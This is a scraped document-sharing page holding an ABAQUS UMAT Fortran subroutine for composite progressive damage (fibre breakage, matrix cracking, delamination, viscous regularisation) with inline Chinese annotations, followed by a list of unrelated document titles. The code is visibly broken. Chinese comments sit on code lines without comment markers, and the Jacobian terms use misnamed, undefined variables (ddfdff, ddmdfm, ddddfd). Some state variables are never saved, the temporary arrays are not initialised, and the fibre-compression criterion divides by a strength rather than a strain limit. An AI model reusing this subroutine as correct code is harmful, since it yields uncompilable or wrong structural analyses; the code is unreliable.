文档库 最新最全的文档下载
当前位置:文档库 › umat程序代码及注释

umat程序代码及注释

umat程序代码及注释
umat程序代码及注释

SUBROUTINE UMAT(STRESS,STATEV,DDSDDE,SSE,SPD,SCD,

1 RPL,DDSDDT,DRPLDE,DRPLDT,

2 STRAN,DSTRAN,TIME,DTIME,TEMP,DTEMP,PREDEF,DPRED,CMNAME,

3 NDI,NSHR,NTENS,NSTATV,PROPS,NPROPS,COORDS,DROT,PNEWDT,

4 CELENT,DFGRD0,DFGRD1,NOEL,NPT,LAYER,KSPT,KSTEP,KINC)

C

INCLUDE 'ABA_PARAM.INC'

C

CHARACTER*80 CMNAME

DIMENSION STRESS(NTENS),STATEV(NSTATV),

1 DDSDDE(NTENS,NTENS),

2 DDSDDT(NTENS),DRPLDE(NTENS),

3 STRAN(NTENS),DSTRAN(NTENS),TIME(2),PREDEF(1),DPRED(1),

4 PROPS(NPROPS),COORDS(3),DROT(3,3),DFGRD0(3,3),DFGRD1(3,3)

C

DIMENSION STRANT(6),CFULL(6,6),CDFULL(6,6),DCDDFV(6,6),

1 DCDDMV(6,6),DCDDDV(6,6),DFFDE(6),DFMDE(6),DFDDE(6),

2 TEMP1(6),TEMP2(6),TEMP3(6),TEMP4(6),TEMP5(6),TEMP6(6),

3 TEMP7(6,6)

PARAMETER (ZERO = 0.D0,ONE = 1.D0,TWO = 2.D0,THREE = 3.D0)

C 输入材料弹性参数

e1=props(1)

e2=props(2)

e3=props(3)

u12=props(4)

u13=props(5)

u23=props(6)

g12=props(7)

g13=props(8)

g23=props(9)

C 输入材料的强度参数,用于失效判断。

xt=props(10)

xc=props(11)

yt=props(12)

yc=props(13)

s12=props(14)

s13=props(15)

s23=props(16)

zt=props(17)

zc=props(18)

eta=props(19) 粘性系数

gc1=props(20) 复合材料的1方向的临界能量释放率gc2=props(21)

gc3=props(22)

!CFULL 无损伤下的刚度阵

u21=(u12/e1)*e2

u31=(u13/e1)*e3

u32=(u23/e2)*e3

fact=1-u12*u21-u23*u32-u13*u31-

& 2*u21*u32*u13

factor=fact/(e1*e2*e3)

CFULL(1,1)=(1-u23*u32)/(e2*e3*factor)

CFULL(2,2)=(1-u13*u31)/(e1*e3*factor)

CFULL(3,3)=(1-u12*u21)/(e1*e2*factor)

CFULL(1,2)=(u12+u32*u13)/(e1*e3*factor)

CFULL(2,3)=(u32+u12*u31)/(e1*e3*factor)

CFULL(1,3)=(u31+u21*u32)/(e3*e2*factor)

CFULL(3,1)=CFULL(1,3)

CFULL(3,2)=CFULL(2,3)

CFULL(2,1)=CFULL(1,2)

CFULL(4,4)=g12

CFULL(5,5)=g13

CFULL(6,6)=g23

C

C RECOVER ELASTIC STRAINS 更新应变

C

DO 10 K1=1,NTENS

STRANT(K1)=STATEV(K1)+DSTRAN(K1)

10 CONTINUE

C

C STORE STRAINS IN STATE VARIABLE ARRAY 存储应变值,用于下一步的应变更新C

DO 20 K1=1,NTENS

STATEV(K1)=STRANT(K1)

20 CONTINUE

!damage strain 计算各种失效情况下发生失效时的应变极限值

epsilonxt=xt/CFULL(1,1)

epsilonxc=xc/CFULL(1,1)

epsilonyt=yt/CFULL(2,2)

epsilonyc=yc/CFULL(2,2)

epsilonzt=zt/CFULL(3,3)

epsilonzc=zc/CFULL(3,3)

epsilons12=s12/CFULL(4,4)

epsilons13=s13/CFULL(5,5)

epsilons23=s23/CFULL(6,6)

!fiber tense damage 失效准则

if(STRANT(1).GE.0.0)then

eft=(STRANT(1)/epsilonxt)**2+(STRANT(4)/epsilons12)**2+

& (STRANT(5)/epsilons13)**2

efc=0.0

else

eft=0.0

!fiber compress buckling

efc=(STRANT(1)/xc)**2

end if

!matrix crack

epm=STRANT(2)+STRANT(3)

if(epm.GE.0.0)then

emt=(STRANT(2)+STRANT(3))**2/(epsilonyt*epsilonzt)-

&STRANT(2)*STRANT(3)/epsilons23**2+

&(STRANT(4)/epsilons12)**2+

&(STRANT(5)/epsilons13)**2+

&(STRANT(6)/epsilons23)**2

emc=0.0

else

emt=0.0

!matrix cruck

emc=(STRANT(2)+STRANT(3))**2/(epsilonyc*epsilonzc)+

&((STRANT(2)+STRANT(3))/epsilonyc)*

&(epsilonyc/2.0/epsilons12-1.0)-

&STRANT(2)*STRANT(3)/epsilons23**2+

&(STRANT(4)/epsilons12)**2+

&(STRANT(5)/epsilons13)**2+

&(STRANT(6)/epsilons23)**2

end if

!delemination

if(STRANT(3).GE.0.0)then

edt=(STRANT(3)/epsilonzt)**2+(STRANT(6)/epsilons23)**2+ & (STRANT(5)/epsilons13)**2

edc=0.0

else

edt=0.0

edc=(STRANT(3)/epsilonzc)**2+(STRANT(6)/epsilons23)**2+ & (STRANT(5)/epsilons13)**2

end if

! Open(16,File='D:/1.txt',status='unknown')

! write(16,*)ef,em,ed

ef=eft+efc

em=emt+emc

ed=edt+edc

!damage or not 判断是否发生失效

!fiber damage

if(ef.GT.1.0)then 纤维发生损伤

ff=SQRT(ef) 计算ff

if(STRANT(1).GE.0.0)then 若为纤维拉断

df=1.0-exp((-1.0)*xt*epsilonxt*CELENT*(ff-1.0)/gc1)/ff 计算纤维的损伤变量df

dfdff=xt*epsilonxt*CELENT/gc1* 计算,更新雅克比矩阵用

& exp((-1.0)*xt*epsilonxt*CELENT*(ff-1.0)/gc1)/ff+

& exp((-1.0)*xt*epsilonxt*CELENT*(ff-1.0)/gc1)/ff**2

DO i=1,6

DFFDE(i)=0.0 计算,更新雅克比矩阵用

END DO

DFFDE(1)=1.0/ff*STRANT(1)/epsilonxt**2

DFFDE(4)=1.0/ff*STRANT(4)/epsilons12**2

DFFDE(5)=1.0/ff*STRANT(5)/epsilons13**2

if( df.GT.STATEV(7))then 因为损伤不可逆,保存df的最大值,用到粘性规律中STATEV(7)=df

else

df=STATEV(7)

endif

else 若为纤维压缩屈曲

df=1.0-exp((-1.0)*xc*epsilonxc*CELENT*(ff-1.0)/gc1)/ff 计算纤维的损伤变量df dfdff=xc*epsilonxc*CELENT/gc1* 计算

& exp((-1.0)*xc*epsilonxc*CELENT*(ff-1.0)/gc1)/ff+

& exp((-1.0)*xc*epsilonxc*CELENT*(ff-1.0)/gc1)/ff**2

DO i=1,6 计算

DFFDE(i)=0.0

END DO

DFFDE(1)=1.0/ff*STRANT(1)/epsilonxc**2

if( df.GT.STATEV(7))then 因为损伤不可逆,保存df的最大值,用到粘性规律中STATEV(7)=df

else

df=STATEV(7)

endif

endif

else 纤维没有发生损伤,纤维的损伤变量等都置零df=0.0

dfdff=0.0

DO i=1,6

DFFDE(i)=0.0

END DO

endif

!matrix damage 基体损伤,思路与纤维损伤相同if(em.GT.1.0)then

fm=SQRT(em)

if(epm.GE.0.0)then

dm=1.0-exp((-1.0)*yt*epsilonyt*CELENT*(fm-1.0)/gc2)/fm

dmdfm=yt*epsilonyt*CELENT/gc2*

& exp((-1.0)*yt*epsilonyt*CELENT*(fm-1.0)/gc2)/fm+

& exp((-1.0)*yt*epsilonyt*CELENT*(fm-1.0)/gc2)/fm**2

DO i=1,6

DFMDE(i)=0.0

END DO

DFMDE(2)=1.0/2.0/fm*

&(2.0*(STRANT(2)+STRANT(3))/epsilonyt/epsilonzt-

&STRANT(3)/epsilons23**2)

DFMDE(3)=1.0/2.0/fm*

& (2.0*(STRANT(2)+STRANT(3))/epsilonyt/epsilonzt-

& STRANT(2)/epsilons23**2)

DFMDE(4)=1.0/fm*STRANT(4)/epsilons12**2

DFMDE(5)=1.0/fm*STRANT(5)/epsilons13**2

DFMDE(6)=1.0/fm*STRANT(6)/epsilons23**2

if(dm.GT.STATEV(8))then

STATEV(8)=dm

else

dm=STATEV(8)

endif

else

dm=1.0-exp(-1.0*yc*epsilonyc*CELENT*(fm-1.0)/gc2)/fm

dmdfm=yc*epsilonyc*CELENT/gc2*

& exp((-1.0)*yc*epsilonyc*CELENT*(fm-1.0)/gc2)/fm+

& exp((-1.0)*yc*epsilonyc*CELENT*(fm-1.0)/gc2)/fm**2

DO i=1,6

DFMDE(i)=0.0

END DO

DFMDE(2)=1.0/2.0/fm*

& (2.0*(STRANT(2)+STRANT(3))/epsilonyc/epsilonzc+

& 1.0/epsilonyc*(1.0/2.0*epsilonyc/epsilons12-1)-

& STRANT(3)/epsilons23**2)

DFMDE(3)=1.0/2.0/fm*

& (2.0*(STRANT(2)+STRANT(3))/epsilonyc/epsilonzc+

& 1.0/epsilonyc*(1.0/2.0*epsilonyc/epsilons12-1)-

& STRANT(2)/epsilons23**2)

DFMDE(4)=1.0/fm*

&STRANT(4)/epsilons12**2

DFMDE(5)=1.0/fm*

&STRANT(5)/epsilons13**2

DFMDE(6)=1.0/fm*

&STRANT(6)/epsilons23**2

if(dm.GT.STATEV(8))then

STATEV(8)=dm

else

dm=STATEV(8)

endif

endif

else

dm=0.0

dmdfm=0.0

DO i=1,6

DFMDE(i)=0.0

END DO

endif

!delamination 分层损伤,思路同上

if(ed.GT.1.0)then

fd=SQRT(ed)

if(STRANT(3).GE.0.0)then

dd=1-exp((-1.0)*zt*epsilonzt*CELENT*(fd-1.0)/gc3)/fd

dddfd=zt*epsilonzt*CELENT/gc3*

& exp((-1.0)*zt*epsilonzt*CELENT*(fd-1.0)/gc3)/fd+

& exp((-1.0)*zt*epsilonzt*CELENT*(fd-1.0)/gc3)/fd**2

DO i=1,6

DFDDE(i)=0.0

END DO

DFDDE(3)=1.0/fd

& *STRANT(3)/epsilonzt**2

DFDDE(5)=1.0/fd

& *STRANT(5)/epsilons13**2

DFDDE(6)=1.0/fd

& *STRANT(6)/epsilons23**2

if(dd.GT.STATEV(9))then

else

dd=STATEV(9)

endif

else

dd=1.0-exp((-1.0)*zc*epsilonzc*CELENT*(fd-1.0)/gc3)/fd

dddfd=zc*epsilonzc*CELENT/gc3*

& exp((-1.0)*zc*epsilonzc*CELENT*(fd-1.0)/gc3)/fd+

& exp((-1.0)*zc*epsilonzc*CELENT*(fd-1.0)/gc3)/fd**2

DO i=1,6

DFDDE(i)=0.0

END DO

DFDDE(3)=1.0/fd

& *STRANT(3)/epsilonzc**2

DFDDE(5)=1.0/fd

& *STRANT(5)/epsilons13**2

DFDDE(6)=1.0/fd

& *STRANT(6)/epsilons23**2

if(dd.GT.STATEV(9))then

STATEV(9)=dd

else

dd=STATEV(9)

endif

endif

else

dd=0.0

dddfd=0.0

DO i=1,6

DFDDE(i)=0.0

END DO

endif

if(df.GT.1.0)then

df=1.0

endif

if(dm.GT.1.0)then

dm=1.0

endif

if(dd.GT.1.0)then

dd=1.0

endif

dfv=df*DTIME/(eta+DTIME)+STATEV(10)*eta/(eta+DTIME) 施加粘性规律,得dfv等dmv=dm*DTIME/(eta+DTIME)+STATEV(11)*eta/(eta+DTIME)

ddv=dd*DTIME/(eta+DTIME)+STATEV(12)*eta/(eta+DTIME)

STATEV(10)=dfv 保存dfv

STATEV(12)=ddv

! Open(16,File='D:/1.txt',status='unknown')

! write(16,*)dfv

! CALCULATE CDFULL 计算折减后的刚度阵

CDFULL(1,1)=(1.0-dfv)*(1.0-dfv)*CFULL(1,1)

CDFULL(2,2)=(1.0-dmv)*(1.0-dmv)*CFULL(2,2)

CDFULL(3,3)=(1.0-ddv)*(1.0-ddv)*CFULL(3,3)

CDFULL(1,2)=(1.0-dfv)*(1.0-dmv)*CFULL(1,2)

CDFULL(1,3)=(1.0-dfv)*(1.0-ddv)*CFULL(1,3)

CDFULL(2,3)=(1.0-dmv)*(1.0-ddv)*CFULL(2,3)

CDFULL(2,1)=CDFULL(1,2)

CDFULL(3,1)=CDFULL(1,3)

CDFULL(3,2)=CDFULL(2,3)

CDFULL(4,4)=(1.0-dfv)*(1.0-dmv)*CFULL(4,4)

CDFULL(5,5)=(1.0-dfv)*(1.0-ddv)*CFULL(5,5)

CDFULL(6,6)=(1.0-dmv)*(1.0-ddv)*CFULL(6,6)

!Open(16,File='D:/1.txt',status='unknown')

!write(16,*)CDFULL(1,1),CDFULL(2,2)

! CALCULATE DCDDFV 计算,用于更新雅克比矩阵DO i=1,6

DO j=1,6

DCDDFV(i,j)=0.0

END DO

END DO

DCDDFV(1,1)=(2.0*dfv-2.0)*CFULL(1,1)

DCDDFV(1,2)=(dmv-1.0)*CFULL(1,2)

DCDDFV(1,3)=(ddv-1.0)*CFULL(1,3)

DCDDFV(2,1)=DCDDFV(1,2)

DCDDFV(3,1)=DCDDFV(1,3)

DCDDFV(4,4)=(dmv-1.0)*CFULL(4,4)

DCDDFV(5,5)=(ddv-1.0)*CFULL(5,5)

! CALCULATE DCDDMV 计算

DO i=1,6

DO j=1,6

DCDDMV(i,j)=0.0

END DO

END DO

DCDDMV(2,2)=(2.0*dmv-2.0)*CFULL(2,2)

DCDDMV(1,2)=(dfv-1.0)*CFULL(1,2)

DCDDMV(2,3)=(ddv-1.0)*CFULL(2,3)

DCDDMV(2,1)=DCDDMV(1,2)

DCDDMV(3,2)=DCDDMV(2,3)

DCDDMV(4,4)=(dfv-1.0)*CFULL(4,4)

DCDDMV(6,6)=(ddv-1.0)*CFULL(6,6)

! CALCULATE DCDDDV 计算DO i=1,6

DO j=1,6

DCDDDV(i,j)=0.0

END DO

END DO

DCDDDV(3,3)=(2.0*ddv-2.0)*CFULL(3,3)

DCDDDV(1,3)=(dfv-1.0)*CFULL(1,3)

DCDDDV(2,3)=(dmv-1.0)*CFULL(2,3)

DCDDDV(3,1)=DCDDDV(1,3)

DCDDDV(3,2)=DCDDDV(2,3)

DCDDDV(5,5)=(dfv-1.0)*CFULL(5,5)

DCDDDV(6,6)=(dmv-1.0)*CFULL(6,6)

C

C CALCULATE STRESS FROM STRAINS 通过折减后的刚度阵及应变更新应力C

! Update the Strsee

stress(1) = CDFULL(1,1) * STRANT(1)

& +CDFULL(1,2) * STRANT(2)

& +CDFULL(1,3) * STRANT(3)

stress(2) = CDFULL(2,1) * STRANT(1)

& +CDFULL(2,2) * STRANT(2)

& +CDFULL(2,3) * STRANT(3)

stress(3) = CDFULL(1,3) * STRANT(1)

& +CDFULL(2,3) * STRANT(2)

& +CDFULL(3,3) * STRANT(3)

stress(4) =CDFULL(4,4)*STRANT(4)

stress(5) =CDFULL(5,5)*STRANT(5)

stress(6) =CDFULL(6,6)*STRANT(6)

DO i=1,6 计算

DO j=1,6

TEMP1(i)=TEMP1(i)+DCDDFV(i,j)*STRANT(j)

ENDDO

ENDDO

DO i=1,6 计算

DO j=1,6

TEMP2(i)=TEMP2(i)+DCDDMV(i,j)*STRANT(j)

ENDDO

ENDDO

DO i=1,6 计算

DO j=1,6

TEMP3(i)=TEMP3(i)+DCDDDV(i,j)*STRANT(j)

ENDDO

ENDDO

DO i=1,6 计算

TEMP4(i)=ddfdff*DFFDE(i)

ENDDO

DO i=1,6

TEMP5(i)=ddmdfm*DFMDE(i) 计算

ENDDO

DO i=1,6 计算

TEMP6(i)=ddddfd*DFDDE(i)

ENDDO

计算(++

)

DO i=1,6

DO j=1,6

TEMP7(i,j)=(TEMP1(i)*TEMP4(j)+TEMP2(i)*TEMP5(j)+TEMP3(i)*TEMP6(j))*

& DTIME/(DTIME+eta)

ENDDO

ENDDO

更新雅克比矩阵C d+(++

)

DO i=1,6 更新雅克比矩阵

DO j=1,6

DDSDDE(i,j)=CDFULL(i,j)+TEMP7(i,j)

ENDDO

ENDDO

RETURN

END

C程序代码大全

//根据半径计算圆的周长和面积#include const float PI=3.1416; //声明常量(只读变量)PI为3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout<<"r="; //显示字符串 cin>>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout<<"l="<

C语言注释规范

C语言注释规范 1.注释原则 同一软件项目开发中,尽量保持代码注释规范和统一。 注释方便了代码的阅读和维护。 边写代码边注释,修改代码时要相应修改注释,保证注释和代码的一致性。 注释要简洁明确,不要出现形容词。 对于写的好的注释,我们将是第一个受益者。 大型软件开发中,通过别人的注释可以快速知道他人所写函数的功能,返回值,参数的使用。 2.文件头部的注释 示例: / * Program Assignment : 该文件的作用 * Author: 作者 * Date: 2013/8/6 14:34 * Description: 该文件的描述 *****/ /* * Source code in : 源代码的路径 * Function List: * initLinear 初始化线性表 * destoryLinear 释放线性表申请的空间 * isLinearEmpty 判断线性表是否为空 * isLinearFull 判断线性表是否为满 * getLinearElementValue 取得下标为index的元素的值 */ 注意:这个函数列表可以快速查询到我们想要了解的函数。 3.结构体,全局变量等的注释 示例: typedef POLYNOMIAL USER_TYPE; /* 新的数据类型的描述*/ int a; /* 全局变量的作用*/ /* 说明结构体的功能*/ typedef struct LINEAR { USER_TYPE *data; /* 每个成员的意义(作用) */ int maxRoom; /* 每个成员的意义(作用) */

int elementCount; /* 每个成员的意义(作用) */ }LINEAR; 4.函数的注释 在逻辑性较强的的地方加入注释,以便其他人的理解,在一定的程度上排除bug。 示例: /* * Function Name: getLinearElementIndex * Purpose: 取得元素的index值 * Params : * @LINEAR linear 线性表实例 * @USER_TYPE var 类型为USER_TYPE的实例 * @int (*)() cmp 提供接口,让用户定义具体比较函数 * Return: int 返回元素的index值 * Limitation: 如果返回-1,则代表不存在var的元素 */ int getLinearElementIndex(LINEAR linear, USER_TYPE var, int (*cmp)()) { /* * 如果逻辑太过复杂,这里写明该算法的过程和思路。 */ boolean found = FALSE; int i; for(i = 0; i < && !found; i++) if(cmp[i], var) == 0) found = TRUE; if(i >= i = NOT_FOUND; return i; }

C程序代码大全

C程序代码大全 This manuscript was revised on November 28, 2020

<=70) cout<<"Your grade is a C."<=60) cout<<"Your grade is a D."< main() { int n; cout<<"n="; cin>>n; if (n>=0 && n<=100 &&n%2==0) cout<<"n="< main() { int a,b,Max; .10 for(int i=1;i<=10;i++) cout<=1;j--) cout<

华为JAVA编程规范

1 Java 编程规范 1.1 排版 1.1.1 规则 规则1程序块要采用缩进风格编写,缩进的空格数为4个,不允许使用TAB缩进。(1.42+) 说明:缩进使程序更易阅读,使用空格缩进可以适应不同操作系统与不同开发工具。 规则2分界符(如大括号…{?和…}?)应各独占一行,同时与引用它们的语句左对齐。在函数体的开始、类和接口的定义、以及if、for、do、while、switch、case语句中的程序 或者static、,synchronized等语句块中都要采用如上的缩进方式。(1.42+) 示例: if (a>b) { doStart(); } 规则3较长的语句、表达式或参数(>80字符)要分成多行书写,长表达式要在低优先级操作符处划分新行,操作符放在新行之首,划分出的新行要进行适当的缩进,使排版整齐, 语句可读。(1.42+) 示例: if (logger.isDebugEnabled()) { logger.debug("Session destroyed,call-id" + event.getSession().getCallId()); } 规则4不允许把多个短语句写在一行中,即一行只写一条语句(1.42+) 说明:阅读代码更加清晰 示例:如下例子不符合规范。 Object o = new Object(); Object b = null; 规则5if, for, do, while, case, switch, default 等语句自占一行,且if, for, do, while,switch等语句的执行语句无论多少都要加括号{},case 的执行语句中如果定义变量必须加括号{}。 (1.42+) 说明:阅读代码更加清晰,减少错误产生 示例: if (a>b) { doStart(); }

数控编程G、M、T、S代码大全(精选.)

数控机床标准G、M代码 一.准备功能字G 准备功能字是使数控机床建立起某种加工方式的指令,如插补、刀具补偿、固定循环等。G功能字由地址符G和其后的两位数字组成,从G00—G99共100种功能。JB3208-83标准中规定如下表: 代码功能 作用范 围 功能 代码 功能作用范围功能 G00 点定位 G50 * 刀具偏置0/- G01 直线插补 G51 * 刀具偏置+/0 G02 顺时针圆弧插补 G52 * 刀具偏置-/0 G03 逆时针圆弧插补 G53 直线偏移注销 G04 * 暂停 G54 直线偏移 X G05 * 不指定 G55 直线偏移Y G06 抛物线插补 G56 直线偏移Z G07 * 不指 定 G57 直线偏移XY G08 * 加速 G58 直线偏移XZ G09 * 减速 G59 直线偏移YZ G10-G16 * 不指定 G60 准确定位(精) G17 XY平面选 择 G61 准确定位(中) G18 ZX平面选择 G62 准确定位(粗) G19 YZ平面选择 G63 * 该丝 G20-G32 * 不指定 G64-G67 * 不指定 G33 螺纹切削,等螺距 G68 * 刀具偏置,内角 G34 螺纹切削,增螺距 G69 * 刀具偏置,外角 G35 螺纹切削,减螺距 G70-G79 * 不指定 G36-G39 * 不指定 G80 固定循环注销 G40 刀具补偿/刀具偏置 注销 G81-G89 固定循环 G41 刀具补偿--左 G90 绝对尺寸 G42 刀具补偿-- 右 G91 增量尺寸 G43 * 刀具偏置--正 G92 * 预置寄存 G44 * 刀具偏置--右 G93 进给率,时间倒数 G45 * 刀具偏置+/+ G94 每分钟进给 G46 * 刀具偏置+/- G95 主轴每转进给 G47 * 刀具偏置-/- G96 恒线速 度 G48 * 刀具偏置-/+ G97 每分钟转数(主轴) G49 * 刀具偏置0/+ G98-G99 * 不指定 注:*表示如作特殊用途,必须在程序格式中说明二.辅助功能字M

程序代码编写规范

程序编写规范及约定 (仅供内部使用) 文档作者:_______________ 日期:___/___/___ 开发/测试经理:_______________ 日期:___/___/___ 项目经理:_______________ 日期:___/___/___ 请在这里输入公司名称 版权所有不得复制

目录 程序编写规范及约定 (3) 1编写目的 (3) 2代码编写风格 (3) 2.1单元风格 (3) 2.2语句风格 (3) 3命名规则 (3) 3.1命名约定 (3) 3.1.1标志符 (3) 3.1.2类class (3) 3.1.3枚举类型enum (4) 3.1.4委托delegate (4) 3.1.5常量const (4) 3.1.6接口interface (4) 3.1.7方法function (4) 3.1.8命名空间namespace (4) 3.1.9参数 (4) 3.1.10局部变量 (5) 3.1.11数据成员 (5) 3.1.12自定义异常类 (5) 3.1.13命名缩写 (5) 3.1.14数据库命名 (5) 3.2代码编写命名规范 (6) 3.3界面常用控件命名约定 (6) 3.4文件命名规范 (7) 3.4.1文档文件命名 (7) 3.4.2配置文件命名 (7) 3.4.3程序文件命名 (7)

程序编写规范及约定 1编写目的 为了使编写代码具有可读性、可理解性、可维护性,对程序编写人员代码实行统一风格,使得程序代码能够以名称反映含义、以形式反映结构。此文档可供程序代码编写人员及代码维护人员使用。 2代码编写风格 2.1单元风格 2.2语句风格 3命名规则 3.1命名约定 Pascal和Camel命名约定: 编程的命名方式主要有Pascal和Camel两种(Pascal:每个单词的首字母大写,例如ProductType;Camel:首个单词的首字母小写,其余单词的首字母大写,例如productType) 3.1.1标志符 规则:Pascal、Camel 实例与描述:例子说明 3.1.2类class 规则:Pascal 实例与描述:Application

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

程序代码注释编写规范

程序代码注释编写规范 XXX份公司

为提高控制程序的阅读性与可理解性,现制定相关代码程序代码注释编写的编写规范。 一般情况下,源程序有效注释量必须在20%以上,注释的原则是有助于对程序的阅读理解,在该加的地方都加了,注释不宜太多也不能太少,注释语言必须准确、易懂、简洁。 常规注释有以下两种方式。 单行:以"//"符号开始,任何位于该符号之后的本行文字都视为注释。 多行:以"/*"符号开始,以"*/"结束。任何介于这对符号之间的文字都视为注释。 一、说明性文件 说明性文件(如头文件.h文件、.inc文件、.def文件、编译说明文件.cfg等)头部应进行注释,注释必须列出:版权说明、版本号、生成日期、作者、内容、功能、与其它文件的关系、修改日志等,头文件的注释中还应有函数功能简要说明。 示例:下面这段头文件的头注释比较标准,当然,并不局限于此格式,但上述信息建议要包含在内。 /************************************************* COPYRIGHT (C), MicTiVo International. Co., Ltd. File NAME: // 文件 Author: Version: Date: // 作者、版本及完成日期 DESCRIPTION: // 用于详细说明此程序文件完成的主要功能,与其他模块 // 或函数的接口,输出值、取值范围、含义及参数间的控 // 制、顺序、独立或依赖等关系 Others: // 其它内容的说明 Function List: // 主要函数列表,每条记录应包括函数名及功能简要说明 1.... History: // 修改历史记录列表,每条修改记录应包括修改日期、修改 // 者及修改内容简述 1. Date: Author: Modification: 2. .. *************************************************/ 二、源文件头 源文件头部应进行注释,列出:版权说明、版本号、生成日期、作者、模块目的/功能、主要函数及其功能、修改日志等。 示例:下面这段源文件的头注释比较标准,当然,并不局限于此格式,但上述信息建议要包含在内。 /************************************************************

C语言代码大全

------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include #include void main(void) { int i,j,x,y; clrscr(); printf("\n\n * * * 乘法口诀表* * * \n\n"); x=9; y=5; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); x+=3; } x=7; y=6; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); y++; } x=9; y= 6; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) { gotoxy(x,y); printf("%2d ",i*j); y++; } y-=9; x+=3; } printf("\n\n"); }

用一维数组统计学生成绩 #include void main() { char SelectKey,CreditMoney,DebitMoney; while(1) { do{ clrscr(); puts("========================="); puts("| Please select key: |"); puts("| 1. Quary |"); puts("| 2. Credit |"); puts("| 3. Debit |"); puts("| 4. Return |"); puts("========================="); SelectKey = getch(); }while( SelectKey!='1' && SelectKey!='2' && SelectKey!='3' && SelectKey!='4' ); switch(SelectKey) { case '1': clrscr(); puts("================================"); puts("| Your balance is $1000. |"); puts("| Press any key to return... |"); puts("================================"); getch(); break; case '2': do{ clrscr(); puts("=================================="); puts("| Please select Credit money: |"); puts("| 1. $50 |"); puts("| 2. $100 |"); puts("| 3. Return |"); puts("=================================="); CreditMoney = getch(); }while( CreditMoney!='1' && CreditMoney!='2' && CreditMoney!='3' ); switch(CreditMoney)

程序代码注释编写规范

百度文库- 让每个人平等地提升自我 1 程序代码注释编写规范 为提高控制程序的阅读性与可理解性,现制定相关代码程序代码注释编写的编写规范。 一般情况下,源程序有效注释量必须在20%以上,注释的原则是有助于对程序的阅读理解,在该加的地方都加了,注释不宜太多也不能太少,注释语言必须准确、易懂、简洁。 常规注释有以下两种方式。 单行:以"文件、.inc文件、.def文件、编译说明文件.cfg等)头部应进行注释,注释必须列出:版权说明、版本号、生成日期、作者、内容、功能、与其它文件的关系、修改日志等,头文件的注释中还应有函数功能简要说明。 示例:下面这段头文件的头注释比较标准,当然,并不局限于此格式,但上述信息建议要包含在内。 /************************************************* (C), MicTiVo International. Co., Ltd. 1.File : . History: Date: Author: Modification: 2. .. *************************************************/ 一、源文件头 源文件头部应进行注释,列出:版权说明、版本号、生成日期、作者、模块目的/功能、主要函数及其功能、修改日志等。 示例:下面这段源文件的头注释比较标准,当然,并不局限于此格式,但上述信息建议要包含在内。 /************************************************************ (C), MicTiVo International. Co., Ltd. FileName: Author: Version : Date: : / /*receive _process() */ 意:与溢出中断写初值不同}

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

C语言编写规范之注释

